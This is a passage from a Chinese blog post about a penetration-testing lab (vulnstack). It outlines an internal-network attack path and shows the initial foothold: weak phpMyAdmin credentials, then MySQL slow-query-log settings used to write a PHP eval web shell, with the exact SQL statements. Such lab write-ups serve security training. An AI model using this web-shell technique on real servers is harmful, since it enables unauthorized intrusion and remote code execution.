内网渗透之小试牛刀

最新推荐文章于 2022-11-12 18:45:10 发布

SoulCat.

最新推荐文章于 2022-11-12 18:45:10 发布

阅读量2k

点赞数 1

分类专栏：内网渗透

本文链接：https://blog.csdn.net/csacs/article/details/104570240

版权

本文详细介绍了内网渗透的过程，包括思路、获取权限、准备工作、内网搜集、横向渗透和拿下域控等步骤。通过判断系统、收集端口和目录信息，发现了PHPMyAdmin的弱口令，利用慢查询日志获取shell。接着使用CS与MSF配合进行提权，并进行内网信息收集，最终通过多种方法如令牌假冒、PTH攻击等成功拿下域控。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

内网渗透之小试牛刀

离你最近的地方，路途最远。

文章目录

内网渗透之小试牛刀

思路:

获取服务器权限->进入内网->判断是否在域中->信息收集(定位域控、域主机、域用户账号密码等)->横向移动(漏洞利用)->拿下域控。

获取权限:

靶场为http://vulnstack.qiyuanxuetang.net/vuln
直接开搞，首先判断yxcms，然后根据版本尝试一些漏洞无果，进而收集端口以及目录，发现phpmyadmin，弱口令进入
在这里插入图片描述通过慢查询日志getshell

show variables like '%slow%'; 
set GLOBAL slow_query_log=on;
set global slow_query_log_file = 'c:/phpstudy/www/1.php';
select '<?php eval($_POST[cmd]);?>' from mysql.db where sleep(10);

在这里插入图片描述即可获取shell：